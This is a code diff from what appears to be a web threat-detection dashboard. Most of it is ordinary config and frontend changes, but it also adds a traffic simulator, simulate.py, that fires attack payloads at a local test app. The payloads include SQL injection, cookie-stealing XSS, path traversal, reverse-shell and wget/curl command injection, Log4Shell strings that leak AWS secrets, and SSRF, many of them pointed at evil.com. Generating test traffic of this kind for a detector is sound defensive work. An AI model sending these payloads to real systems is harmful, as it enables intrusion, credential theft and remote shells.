|
||||
- ./nginx.conf:/etc/nginx/nginx.conf:ro
|
||||
- nginx_logs:/var/log/nginx
|
||||
depends_on:
|
||||
app:
|
||||
condition: service_healthy
|
||||
networks:
|
||||
- devlog
|
||||
|
||||
networks:
|
||||
devlog:
|
||||
driver: bridge
|
||||
|
||||
volumes:
|
||||
nginx_logs:
|
||||
name: vigil_dev_nginx_logs
|
||||
|
|
@ -0,0 +1,28 @@
|
|||
# ©AngelaMos | 2026
|
||||
# nginx.conf
|
||||
|
||||
events {
|
||||
worker_connections 64;
|
||||
}
|
||||
|
||||
http {
|
||||
access_log /var/log/nginx/access.log combined;
|
||||
error_log /var/log/nginx/error.log warn;
|
||||
|
||||
upstream target_app {
|
||||
server app:8000;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
server_name _;
|
||||
|
||||
location / {
|
||||
proxy_pass http://target_app;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,298 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
©AngelaMos | 2026
|
||||
simulate.py
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import random
|
||||
import sys
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
|
||||
DEFAULT_TARGET = "http://localhost:58319"
|
||||
|
||||
NORMAL_PATHS = [
|
||||
"/",
|
||||
"/health",
|
||||
"/api/users",
|
||||
"/api/users/1",
|
||||
"/api/users/2",
|
||||
"/api/users/3",
|
||||
"/api/products",
|
||||
"/api/products/1",
|
||||
"/api/products/2",
|
||||
"/api/search?q=shoes",
|
||||
"/api/search?q=electronics",
|
||||
"/api/search?q=sale+items",
|
||||
"/static/css/main.css",
|
||||
"/static/js/app.js",
|
||||
"/static/images/logo.png",
|
||||
]
|
||||
|
||||
SQLI_PAYLOADS = [
|
||||
"/api/users?id=1' OR '1'='1",
|
||||
"/api/users?id=1' OR '1'='1'--",
|
||||
"/api/search?q=' UNION SELECT username,password FROM users--",
|
||||
"/api/search?q='; DROP TABLE users;--",
|
||||
"/api/users?id=1; SELECT * FROM information_schema.tables",
|
||||
"/api/login?user=admin'--&pass=x",
|
||||
"/api/products?id=1 UNION SELECT null,null,null",
|
||||
"/api/search?q=' OR 1=1#",
|
||||
"/api/users?id=0 UNION ALL SELECT concat(user,0x3a,password) FROM mysql.user",
|
||||
"/api/search?q=1' AND (SELECT COUNT(*) FROM users) > 0--",
|
||||
"/api/users?id=1' WAITFOR DELAY '0:0:5'--",
|
||||
"/api/products?sort=name; INSERT INTO admin VALUES('hacker','pwned')",
|
||||
]
|
||||
|
||||
XSS_PAYLOADS = [
|
||||
"/api/search?q=<script>alert('xss')</script>",
|
||||
"/api/search?q=<img src=x onerror=alert(document.cookie)>",
|
||||
"/api/search?q=<svg/onload=alert(1)>",
|
||||
"/api/search?q=javascript:alert(1)",
|
||||
"/api/search?q=<iframe src='javascript:alert(1)'>",
|
||||
"/api/search?q=<body onload=alert('xss')>",
|
||||
"/api/search?q=\"><script>document.location='http://evil.com/steal?c='+document.cookie</script>",
|
||||
"/api/search?q=<input onfocus=alert(1) autofocus>",
|
||||
"/api/search?q=%3Cscript%3Ealert(1)%3C/script%3E",
|
||||
"/api/users?name=<img src=x onerror=fetch('http://evil.com/'+document.cookie)>",
|
||||
]
|
||||
|
||||
TRAVERSAL_PAYLOADS = [
|
||||
"/../../etc/passwd",
|
||||
"/static/../../../etc/shadow",
|
||||
"/api/../../etc/hosts",
|
||||
"/static/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
|
||||
"/static/..\\..\\..\\windows\\system32\\config\\sam",
|
||||
"/api/users/../../../proc/self/environ",
|
||||
"/static/....//....//....//etc/passwd",
|
||||
"/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
|
||||
"/static/..%252f..%252f..%252fetc/passwd",
|
||||
"/api/download?file=../../../etc/passwd",
|
||||
]
|
||||
|
||||
COMMAND_INJECTION_PAYLOADS = [
|
||||
"/api/search?q=;cat /etc/passwd",
|
||||
"/api/search?q=|ls -la /",
|
||||
"/api/search?q=`whoami`",
|
||||
"/api/search?q=$(id)",
|
||||
"/api/search?q=;wget http://evil.com/shell.sh",
|
||||
"/api/search?q=|nc -e /bin/sh evil.com 4444",
|
||||
"/api/users?name=test&&curl evil.com/backdoor",
|
||||
]
|
||||
|
||||
LOG4SHELL_PAYLOADS = [
|
||||
"/api/search?q=${jndi:ldap://evil.com/exploit}",
|
||||
"/api/search?q=${jndi:rmi://evil.com:1099/obj}",
|
||||
"/api/search?q=${${lower:j}ndi:ldap://evil.com/x}",
|
||||
"/api/search?q=${jndi:ldap://evil.com/${env:AWS_SECRET_ACCESS_KEY}}",
|
||||
]
|
||||
|
||||
SSRF_PAYLOADS = [
|
||||
"/api/search?url=http://169.254.169.254/latest/meta-data/",
|
||||
"/api/search?url=http://127.0.0.1:22",
|
||||
"/api/search?url=http://10.0.0.1/admin",
|
||||
"/api/search?url=http://[::1]/",
|
||||
"/api/search?url=http://metadata.google.internal/computeMetadata/v1/",
|
||||
]
|
||||
|
||||
SCANNER_USER_AGENTS = [
|
||||
"Nikto/2.1.6",
|
||||
"sqlmap/1.7.2#stable (https://sqlmap.org)",
|
||||
"Nessus SOAP",
|
||||
"DirBuster-1.0-RC1",
|
||||
"Mozilla/5.0 (compatible; Nmap Scripting Engine)",
|
||||
"WPScan v3.8.25",
|
||||
"Acunetix Web Vulnerability Scanner",
|
||||
"gobuster/3.6",
|
||||
"nuclei (github.com/projectdiscovery/nuclei)",
|
||||
"masscan/1.3.2",
|
||||
"ZAP/2.14.0",
|
||||
]
|
||||
|
||||
NORMAL_USER_AGENTS = [
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15",
|
||||
"Mozilla/5.0 (X11; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0",
|
||||
"Mozilla/5.0 (iPhone; CPU iPhone OS 18_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Mobile/15E148 Safari/604.1",
|
||||
"Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36",
|
||||
"curl/8.11.1",
|
||||
"python-requests/2.32.3",
|
||||
]
|
||||
|
||||
ATTACK_POOLS = {
|
||||
"sqli": SQLI_PAYLOADS,
|
||||
"xss": XSS_PAYLOADS,
|
||||
"traversal": TRAVERSAL_PAYLOADS,
|
||||
"cmdi": COMMAND_INJECTION_PAYLOADS,
|
||||
"log4shell": LOG4SHELL_PAYLOADS,
|
||||
"ssrf": SSRF_PAYLOADS,
|
||||
}
|
||||
|
||||
|
||||
def send(target, path, user_agent=None, method="GET"):
|
||||
url = f"{target}{path}"
|
||||
ua = user_agent or random.choice(NORMAL_USER_AGENTS)
|
||||
req = urllib.request.Request(url, headers={"User-Agent": ua})
|
||||
if method == "POST":
|
||||
req.method = "POST"
|
||||
req.data = b'{"username":"test","password":"test"}'
|
||||
req.add_header("Content-Type", "application/json")
|
||||
try:
|
||||
resp = urllib.request.urlopen(req, timeout=5)
|
||||
return resp.status
|
||||
except urllib.error.HTTPError as e:
|
||||
return e.code
|
||||
except urllib.error.URLError:
|
||||
return 0
|
||||
except Exception:
|
||||
return 0
|
||||
|
||||
|
||||
def run_normal(target, count, delay):
|
||||
print(f"Sending {count} normal requests...")
|
||||
methods = ["GET"] * 9 + ["POST"]
|
||||
post_paths = ["/api/login", "/api/checkout"]
|
||||
for i in range(count):
|
||||
method = random.choice(methods)
|
||||
if method == "POST":
|
||||
path = random.choice(post_paths)
|
||||
else:
|
||||
path = random.choice(NORMAL_PATHS)
|
||||
status = send(target, path, method=method)
|
||||
print(f" [{i + 1}/{count}] {method} {path} -> {status}")
|
||||
time.sleep(delay)
|
||||
|
||||
|
||||
def run_attack(target, count, delay, pool_name):
|
||||
pool = ATTACK_POOLS[pool_name]
|
||||
print(f"Sending {count} {pool_name} attack requests...")
|
||||
for i in range(count):
|
||||
path = random.choice(pool)
|
||||
status = send(target, path)
|
||||
print(f" [{i + 1}/{count}] GET {path} -> {status}")
|
||||
time.sleep(delay)
|
||||
|
||||
|
||||
def run_scanner(target, count, delay):
|
||||
print(f"Sending {count} scanner-style requests...")
|
||||
scan_paths = [
|
||||
"/admin",
|
||||
"/admin/dashboard",
|
||||
"/.env",
|
||||
"/wp-admin",
|
||||
"/wp-login.php",
|
||||
"/.git/config",
|
||||
"/phpmyadmin",
|
||||
"/server-status",
|
||||
"/actuator/env",
|
||||
"/.well-known/security.txt",
|
||||
"/robots.txt",
|
||||
"/sitemap.xml",
|
||||
"/api/v1/debug",
|
||||
"/console",
|
||||
"/swagger.json",
|
||||
"/api-docs",
|
||||
"/.DS_Store",
|
||||
"/backup.sql",
|
||||
"/config.yml",
|
||||
"/api/users",
|
||||
]
|
||||
for i in range(count):
|
||||
path = random.choice(scan_paths)
|
||||
ua = random.choice(SCANNER_USER_AGENTS)
|
||||
status = send(target, path, user_agent=ua)
|
||||
print(f" [{i + 1}/{count}] GET {path} [{ua.split('/')[0]}] -> {status}")
|
||||
time.sleep(delay)
|
||||
|
||||
|
||||
def run_flood(target, count, delay):
|
||||
print(f"Flooding {count} rapid-fire requests (delay={delay}s)...")
|
||||
for i in range(count):
|
||||
path = random.choice(NORMAL_PATHS[:5])
|
||||
status = send(target, path)
|
||||
print(f" [{i + 1}/{count}] GET {path} -> {status}")
|
||||
time.sleep(delay)
|
||||
|
||||
|
||||
def run_mixed(target, count, delay):
|
||||
print(f"Sending {count} mixed traffic (normal + attacks)...")
|
||||
all_attack_payloads = []
|
||||
for pool in ATTACK_POOLS.values():
|
||||
all_attack_payloads.extend(pool)
|
||||
|
||||
for i in range(count):
|
||||
roll = random.random()
|
||||
if roll < 0.5:
|
||||
path = random.choice(NORMAL_PATHS)
|
||||
ua = random.choice(NORMAL_USER_AGENTS)
|
||||
label = "NORMAL"
|
||||
elif roll < 0.6:
|
||||
path = random.choice(all_attack_payloads)
|
||||
ua = random.choice(SCANNER_USER_AGENTS)
|
||||
label = "SCANNER"
|
||||
else:
|
||||
path = random.choice(all_attack_payloads)
|
||||
ua = random.choice(NORMAL_USER_AGENTS)
|
||||
label = "ATTACK"
|
||||
status = send(target, path, user_agent=ua)
|
||||
print(f" [{i + 1}/{count}] [{label:>7}] {path[:80]} -> {status}")
|
||||
time.sleep(delay)
|
||||
|
||||
|
||||
MODES = {
|
||||
"normal": lambda t, c, d: run_normal(t, c, d),
|
||||
"sqli": lambda t, c, d: run_attack(t, c, d, "sqli"),
|
||||
"xss": lambda t, c, d: run_attack(t, c, d, "xss"),
|
||||
"traversal": lambda t, c, d: run_attack(t, c, d, "traversal"),
|
||||
"cmdi": lambda t, c, d: run_attack(t, c, d, "cmdi"),
|
||||
"log4shell": lambda t, c, d: run_attack(t, c, d, "log4shell"),
|
||||
"ssrf": lambda t, c, d: run_attack(t, c, d, "ssrf"),
|
||||
"scanner": lambda t, c, d: run_scanner(t, c, d),
|
||||
"flood": lambda t, c, d: run_flood(t, c, d),
|
||||
"mixed": lambda t, c, d: run_mixed(t, c, d),
|
||||
}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Simulate traffic against the dev-log target app"
|
||||
)
|
||||
parser.add_argument(
|
||||
"mode",
|
||||
choices=list(MODES.keys()),
|
||||
help="Traffic pattern to simulate",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-n", "--count",
|
||||
type=int,
|
||||
default=50,
|
||||
help="Number of requests to send (default: 50)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-d", "--delay",
|
||||
type=float,
|
||||
default=0.1,
|
||||
help="Delay between requests in seconds (default: 0.1)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--target",
|
||||
default=DEFAULT_TARGET,
|
||||
help=f"Target URL (default: {DEFAULT_TARGET})",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
test = send(args.target, "/health")
|
||||
if test == 0:
|
||||
print(f"ERROR: Cannot reach {args.target}/health")
|
||||
print("Is the dev-log app running? Try: just devlog-up")
|
||||
sys.exit(1)
|
||||
|
||||
MODES[args.mode](args.target, args.count, args.delay)
|
||||
print("Done.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -42,7 +42,7 @@ services:
|
|||
backend:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: infra/docker/fastapi.prod
|
||||
dockerfile: infra/docker/fastapi.dev
|
||||
container_name: vigil-backend-dev
|
||||
environment:
|
||||
ENV: development
|
||||
|
|
@ -53,9 +53,13 @@ services:
|
|||
REDIS_URL: redis://redis:6379
|
||||
NGINX_LOG_PATH: /var/log/nginx/access.log
|
||||
GEOIP_DB_PATH: /usr/share/GeoIP/GeoLite2-City.mmdb
|
||||
GIT_PYTHON_REFRESH: quiet
|
||||
MODEL_DIR: /app/data/models
|
||||
SKIP_AUTO_TRAIN: ${SKIP_AUTO_TRAIN:-false}
|
||||
ports:
|
||||
- "${BACKEND_HOST_PORT:-36969}:8000"
|
||||
volumes:
|
||||
- model_data_dev:/app/data/models
|
||||
- nginx_logs_dev:/var/log/nginx
|
||||
depends_on:
|
||||
postgres:
|
||||
|
|
@ -69,7 +73,7 @@ services:
|
|||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 3
|
||||
start_period: 15s
|
||||
start_period: 180s
|
||||
|
||||
frontend:
|
||||
build:
|
||||
|
|
@ -96,5 +100,7 @@ networks:
|
|||
volumes:
|
||||
postgres_dev:
|
||||
redis_dev:
|
||||
model_data_dev:
|
||||
nginx_logs_dev:
|
||||
name: vigil_dev_nginx_logs
|
||||
frontend_node_modules_dev:
|
||||
|
|
|
|||
|
|
@ -62,7 +62,7 @@ export function useAlerts() {
|
|||
ws.onmessage = (event) => {
|
||||
const parsed = WebSocketAlertSchema.safeParse(JSON.parse(event.data))
|
||||
if (parsed.success) {
|
||||
addAlert(parsed.data)
|
||||
addAlert({ ...parsed.data, id: crypto.randomUUID() })
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -6,6 +6,7 @@
|
|||
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
|
||||
import { toast } from 'sonner'
|
||||
import type { ModelStatus, RetrainResponse } from '@/api/types'
|
||||
import { ModelStatusSchema, RetrainResponseSchema } from '@/api/types'
|
||||
import { API_ENDPOINTS, QUERY_KEYS } from '@/config'
|
||||
import { apiClient, QUERY_STRATEGIES } from '@/core/api'
|
||||
|
||||
|
|
@ -13,10 +14,8 @@ export function useModelStatus() {
|
|||
return useQuery<ModelStatus>({
|
||||
queryKey: QUERY_KEYS.MODELS.STATUS(),
|
||||
queryFn: async () => {
|
||||
const { data } = await apiClient.get<ModelStatus>(
|
||||
API_ENDPOINTS.MODELS.STATUS
|
||||
)
|
||||
return data
|
||||
const { data } = await apiClient.get<unknown>(API_ENDPOINTS.MODELS.STATUS)
|
||||
return ModelStatusSchema.parse(data)
|
||||
},
|
||||
...QUERY_STRATEGIES.standard,
|
||||
})
|
||||
|
|
@ -27,10 +26,8 @@ export function useRetrain() {
|
|||
|
||||
return useMutation<RetrainResponse>({
|
||||
mutationFn: async () => {
|
||||
const { data } = await apiClient.post<RetrainResponse>(
|
||||
API_ENDPOINTS.MODELS.RETRAIN
|
||||
)
|
||||
return data
|
||||
const { data } = await apiClient.post<unknown>(API_ENDPOINTS.MODELS.RETRAIN)
|
||||
return RetrainResponseSchema.parse(data)
|
||||
},
|
||||
onSuccess: () => {
|
||||
toast.success('Retraining started')
|
||||
|
|
|
|||
|
|
@ -5,6 +5,7 @@
|
|||
|
||||
import { useQuery } from '@tanstack/react-query'
|
||||
import type { StatsResponse } from '@/api/types'
|
||||
import { StatsResponseSchema } from '@/api/types'
|
||||
import { API_ENDPOINTS, QUERY_KEYS } from '@/config'
|
||||
import { apiClient, QUERY_STRATEGIES } from '@/core/api'
|
||||
|
||||
|
|
@ -12,10 +13,10 @@ export function useStats(range = '24h') {
|
|||
return useQuery<StatsResponse>({
|
||||
queryKey: QUERY_KEYS.STATS.BY_RANGE(range),
|
||||
queryFn: async () => {
|
||||
const { data } = await apiClient.get<StatsResponse>(API_ENDPOINTS.STATS, {
|
||||
const { data } = await apiClient.get<unknown>(API_ENDPOINTS.STATS, {
|
||||
params: { range },
|
||||
})
|
||||
return data
|
||||
return StatsResponseSchema.parse(data)
|
||||
},
|
||||
...QUERY_STRATEGIES.frequent,
|
||||
})
|
||||
|
|
|
|||
|
|
@ -5,6 +5,7 @@
|
|||
|
||||
import { useQuery } from '@tanstack/react-query'
|
||||
import type { ThreatEvent, ThreatList } from '@/api/types'
|
||||
import { ThreatEventSchema, ThreatListSchema } from '@/api/types'
|
||||
import { API_ENDPOINTS, PAGINATION, QUERY_KEYS } from '@/config'
|
||||
import { apiClient, QUERY_STRATEGIES } from '@/core/api'
|
||||
|
||||
|
|
@ -27,11 +28,10 @@ export function useThreats(params: ThreatParams = {}) {
|
|||
return useQuery<ThreatList>({
|
||||
queryKey: QUERY_KEYS.THREATS.LIST(queryParams),
|
||||
queryFn: async () => {
|
||||
const { data } = await apiClient.get<ThreatList>(
|
||||
API_ENDPOINTS.THREATS.LIST,
|
||||
{ params: queryParams }
|
||||
)
|
||||
return data
|
||||
const { data } = await apiClient.get<unknown>(API_ENDPOINTS.THREATS.LIST, {
|
||||
params: queryParams,
|
||||
})
|
||||
return ThreatListSchema.parse(data)
|
||||
},
|
||||
...QUERY_STRATEGIES.frequent,
|
||||
})
|
||||
|
|
@ -41,10 +41,10 @@ export function useThreat(id: string | null) {
|
|||
return useQuery<ThreatEvent>({
|
||||
queryKey: QUERY_KEYS.THREATS.BY_ID(id ?? ''),
|
||||
queryFn: async () => {
|
||||
const { data } = await apiClient.get<ThreatEvent>(
|
||||
const { data } = await apiClient.get<unknown>(
|
||||
API_ENDPOINTS.THREATS.BY_ID(id as string)
|
||||
)
|
||||
return data
|
||||
return ThreatEventSchema.parse(data)
|
||||
},
|
||||
enabled: id !== null,
|
||||
...QUERY_STRATEGIES.standard,
|
||||
|
|
|
|||
|
|
@ -9,7 +9,7 @@ export const ActiveModelSchema = z.object({
|
|||
model_type: z.string(),
|
||||
version: z.string(),
|
||||
training_samples: z.number().int(),
|
||||
metrics: z.record(z.string(), z.number()),
|
||||
metrics: z.record(z.string(), z.unknown()),
|
||||
threshold: z.number().nullable(),
|
||||
})
|
||||
|
||||
|
|
|
|||
|
|
@ -22,7 +22,7 @@ export const ThreatEventSchema = z.object({
|
|||
response_size: z.number().int(),
|
||||
user_agent: z.string(),
|
||||
threat_score: z.number(),
|
||||
severity: z.literal(['HIGH', 'MEDIUM', 'LOW']),
|
||||
severity: z.enum(['HIGH', 'MEDIUM', 'LOW']),
|
||||
component_scores: z.record(z.string(), z.number()),
|
||||
geo: GeoInfoSchema,
|
||||
matched_rules: z.array(z.string()).nullable(),
|
||||
|
|
|
|||
|
|
@ -6,9 +6,11 @@
|
|||
import { z } from 'zod'
|
||||
|
||||
export const WebSocketAlertSchema = z.object({
|
||||
id: z.string().optional(),
|
||||
event: z.literal('threat'),
|
||||
timestamp: z.string(),
|
||||
source_ip: z.string(),
|
||||
request_method: z.string().default('GET'),
|
||||
request_path: z.string(),
|
||||
threat_score: z.number(),
|
||||
severity: z.string(),
|
||||
|
|
|
|||
|
|
@ -50,7 +50,7 @@
|
|||
|
||||
.row {
|
||||
display: grid;
|
||||
grid-template-columns: 80px 130px 1fr auto 60px;
|
||||
grid-template-columns: 80px 130px 48px 1fr auto 60px;
|
||||
gap: $space-3;
|
||||
align-items: center;
|
||||
padding: $space-2-5 $space-5;
|
||||
|
|
@ -85,6 +85,22 @@
|
|||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
.method {
|
||||
font-family: monospace;
|
||||
font-weight: $font-weight-semibold;
|
||||
font-size: $font-size-2xs;
|
||||
letter-spacing: $tracking-wide;
|
||||
color: $text-lighter;
|
||||
}
|
||||
|
||||
.methodGet { color: $method-get; }
|
||||
.methodPost { color: $method-post; }
|
||||
.methodPut { color: $method-put; }
|
||||
.methodDelete { color: $method-delete; }
|
||||
.methodPatch { color: $method-patch; }
|
||||
.methodHead { color: $method-head; }
|
||||
.methodOptions { color: $method-options; }
|
||||
|
||||
.empty {
|
||||
padding: $space-10;
|
||||
text-align: center;
|
||||
|
|
|
|||
|
|
@ -18,6 +18,16 @@ function formatTime(timestamp: string): string {
|
|||
return new Date(timestamp).toLocaleTimeString()
|
||||
}
|
||||
|
||||
const METHOD_STYLES: Record<string, string> = {
|
||||
GET: styles.methodGet,
|
||||
POST: styles.methodPost,
|
||||
PUT: styles.methodPut,
|
||||
DELETE: styles.methodDelete,
|
||||
PATCH: styles.methodPatch,
|
||||
HEAD: styles.methodHead,
|
||||
OPTIONS: styles.methodOptions,
|
||||
}
|
||||
|
||||
export function AlertFeed({
|
||||
alerts,
|
||||
isConnected,
|
||||
|
|
@ -51,9 +61,17 @@ export function AlertFeed({
|
|||
<div className={styles.empty}>Waiting for alerts...</div>
|
||||
) : (
|
||||
alerts.map((alert, i) => (
|
||||
<div key={`${alert.timestamp}-${i}`} className={styles.row}>
|
||||
<div
|
||||
key={alert.id ?? `${alert.timestamp}-${i}`}
|
||||
className={styles.row}
|
||||
>
|
||||
<span className={styles.time}>{formatTime(alert.timestamp)}</span>
|
||||
<span className={styles.ip}>{alert.source_ip}</span>
|
||||
<span
|
||||
className={`${styles.method} ${METHOD_STYLES[alert.request_method] ?? ''}`}
|
||||
>
|
||||
{alert.request_method}
|
||||
</span>
|
||||
<span className={styles.path}>{alert.request_path}</span>
|
||||
<SeverityBadge
|
||||
severity={alert.severity as 'HIGH' | 'MEDIUM' | 'LOW'}
|
||||
|
|
|
|||
|
|
@ -4,6 +4,7 @@
|
|||
// ===================
|
||||
|
||||
export { AlertFeed } from './alert-feed'
|
||||
export { MethodBadge } from './method-badge'
|
||||
export { SeverityBadge } from './severity-badge'
|
||||
export { StatCard } from './stat-card'
|
||||
export { ThreatDetail } from './threat-detail'
|
||||
|
|
|
|||
|
|
@ -0,0 +1,22 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// method-badge.module.scss
|
||||
// ===================
|
||||
|
||||
@use '@/styles/tokens' as *;
|
||||
|
||||
.badge {
|
||||
font-family: monospace;
|
||||
font-weight: $font-weight-semibold;
|
||||
font-size: $font-size-2xs;
|
||||
letter-spacing: $tracking-wide;
|
||||
color: $text-lighter;
|
||||
}
|
||||
|
||||
.get { color: $method-get; }
|
||||
.post { color: $method-post; }
|
||||
.put { color: $method-put; }
|
||||
.delete { color: $method-delete; }
|
||||
.patch { color: $method-patch; }
|
||||
.head { color: $method-head; }
|
||||
.options { color: $method-options; }
|
||||
|
|
@ -0,0 +1,28 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// method-badge.tsx
|
||||
// ===================
|
||||
|
||||
import styles from './method-badge.module.scss'
|
||||
|
||||
const METHOD_STYLES: Record<string, string> = {
|
||||
GET: styles.get,
|
||||
POST: styles.post,
|
||||
PUT: styles.put,
|
||||
DELETE: styles.delete,
|
||||
PATCH: styles.patch,
|
||||
HEAD: styles.head,
|
||||
OPTIONS: styles.options,
|
||||
}
|
||||
|
||||
interface MethodBadgeProps {
|
||||
method: string
|
||||
}
|
||||
|
||||
export function MethodBadge({ method }: MethodBadgeProps): React.ReactElement {
|
||||
return (
|
||||
<span className={`${styles.badge} ${METHOD_STYLES[method] ?? ''}`}>
|
||||
{method}
|
||||
</span>
|
||||
)
|
||||
}
|
||||
|
|
@ -21,7 +21,10 @@ $header-height: 56px;
|
|||
left: 0;
|
||||
bottom: 0;
|
||||
width: $sidebar-width;
|
||||
background: $bg-surface-100;
|
||||
background:
|
||||
radial-gradient(circle, $border-default 1px, transparent 1px),
|
||||
$bg-surface-100;
|
||||
background-size: 24px 24px, auto;
|
||||
border-right: 1px solid $border-default;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
|
|
@ -107,6 +110,12 @@ $header-height: 56px;
|
|||
width: 17px;
|
||||
height: 17px;
|
||||
flex-shrink: 0;
|
||||
color: $severity-high;
|
||||
opacity: 0.7;
|
||||
|
||||
.navItem.active & {
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
.navLabel {
|
||||
|
|
@ -127,7 +136,8 @@ $header-height: 56px;
|
|||
width: 45px;
|
||||
height: 45px;
|
||||
border-radius: $radius-md;
|
||||
color: $text-light;
|
||||
color: $severity-high;
|
||||
opacity: 0.6;
|
||||
@include flex-center;
|
||||
@include transition-fast;
|
||||
|
||||
|
|
@ -138,7 +148,7 @@ $header-height: 56px;
|
|||
|
||||
@include hover {
|
||||
background: $bg-surface-200;
|
||||
color: $text-default;
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
@include breakpoint-down('sm') {
|
||||
|
|
@ -226,7 +236,10 @@ $header-height: 56px;
|
|||
position: sticky;
|
||||
top: 0;
|
||||
height: $header-height;
|
||||
background: $bg-surface-100;
|
||||
background:
|
||||
radial-gradient(circle, $border-default 1px, transparent 1px),
|
||||
$bg-surface-100;
|
||||
background-size: 24px 24px, auto;
|
||||
border-bottom: 1px solid $border-default;
|
||||
z-index: $z-sticky;
|
||||
display: flex;
|
||||
|
|
|
|||
|
|
@ -34,12 +34,16 @@ function ModelCard({ model }: { model: ActiveModel }): React.ReactElement {
|
|||
{Object.keys(model.metrics).length > 0 && (
|
||||
<div className={styles.metrics}>
|
||||
<span className={styles.metricsTitle}>Metrics</span>
|
||||
{Object.entries(model.metrics).map(([key, val]) => (
|
||||
<div key={key} className={styles.metricRow}>
|
||||
<span className={styles.metricKey}>{key}</span>
|
||||
<span className={styles.metricVal}>{val.toFixed(4)}</span>
|
||||
</div>
|
||||
))}
|
||||
{Object.entries(model.metrics)
|
||||
.filter(([, val]) => typeof val === 'number')
|
||||
.map(([key, val]) => (
|
||||
<div key={key} className={styles.metricRow}>
|
||||
<span className={styles.metricKey}>{key}</span>
|
||||
<span className={styles.metricVal}>
|
||||
{(val as number).toFixed(4)}
|
||||
</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
|
|
|||
|
|
@ -6,7 +6,7 @@
|
|||
import { useState } from 'react'
|
||||
import { useThreats } from '@/api/hooks'
|
||||
import type { ThreatEvent } from '@/api/types'
|
||||
import { SeverityBadge, ThreatDetail } from '@/components'
|
||||
import { MethodBadge, SeverityBadge, ThreatDetail } from '@/components'
|
||||
import { PAGINATION } from '@/config'
|
||||
import styles from './threats.module.scss'
|
||||
|
||||
|
|
@ -103,7 +103,9 @@ export function Component(): React.ReactElement {
|
|||
{formatTime(threat.created_at)}
|
||||
</td>
|
||||
<td className={styles.monoCell}>{threat.source_ip}</td>
|
||||
<td>{threat.request_method}</td>
|
||||
<td>
|
||||
<MethodBadge method={threat.request_method} />
|
||||
</td>
|
||||
<td className={styles.pathCell}>{threat.request_path}</td>
|
||||
<td className={styles.scoreCell}>
|
||||
{threat.threat_score.toFixed(3)}
|
||||
|
|
|
|||
|
|
@ -106,11 +106,11 @@ $text-light: hsl(0, 0%, 70.6%);
|
|||
$text-lighter: hsl(0, 0%, 53.7%);
|
||||
$text-muted: hsl(0, 0%, 30.2%);
|
||||
|
||||
$error-default: hsl(0, 72%, 51%);
|
||||
$error-light: hsl(0, 72%, 65%);
|
||||
$error-default: hsl(0, 72%, 44%);
|
||||
$error-light: hsl(0, 72%, 58%);
|
||||
|
||||
$severity-high: hsl(0, 72%, 51%);
|
||||
$severity-high-bg: hsl(0, 72%, 15%);
|
||||
$severity-high: hsl(0, 72%, 44%);
|
||||
$severity-high-bg: hsl(0, 72%, 13%);
|
||||
$severity-medium: hsl(38, 92%, 50%);
|
||||
$severity-medium-bg: hsl(38, 92%, 15%);
|
||||
$severity-low: hsl(142, 71%, 45%);
|
||||
|
|
@ -119,6 +119,14 @@ $severity-low-bg: hsl(142, 71%, 15%);
|
|||
$accent: hsl(217, 91%, 60%);
|
||||
$accent-muted: hsl(217, 91%, 20%);
|
||||
|
||||
$method-get: hsl(142, 60%, 45%);
|
||||
$method-post: hsl(217, 80%, 55%);
|
||||
$method-put: hsl(38, 80%, 50%);
|
||||
$method-delete: hsl(0, 72%, 44%);
|
||||
$method-patch: hsl(270, 60%, 55%);
|
||||
$method-head: hsl(190, 50%, 50%);
|
||||
$method-options: hsl(30, 50%, 50%);
|
||||
|
||||
$success: hsl(142, 71%, 45%);
|
||||
$success-bg: hsl(142, 71%, 15%);
|
||||
|
||||
|
|
|
|||
|
|
@ -0,0 +1,46 @@
|
|||
#!/bin/sh
|
||||
# ©AngelaMos | 2026
|
||||
# entrypoint.sh
|
||||
|
||||
MODEL_DIR="${MODEL_DIR:-data/models}"
|
||||
NGINX_LOG_PATH="${NGINX_LOG_PATH:-/var/log/nginx/access.log}"
|
||||
|
||||
for f in /var/log/nginx/access.log /var/log/nginx/error.log; do
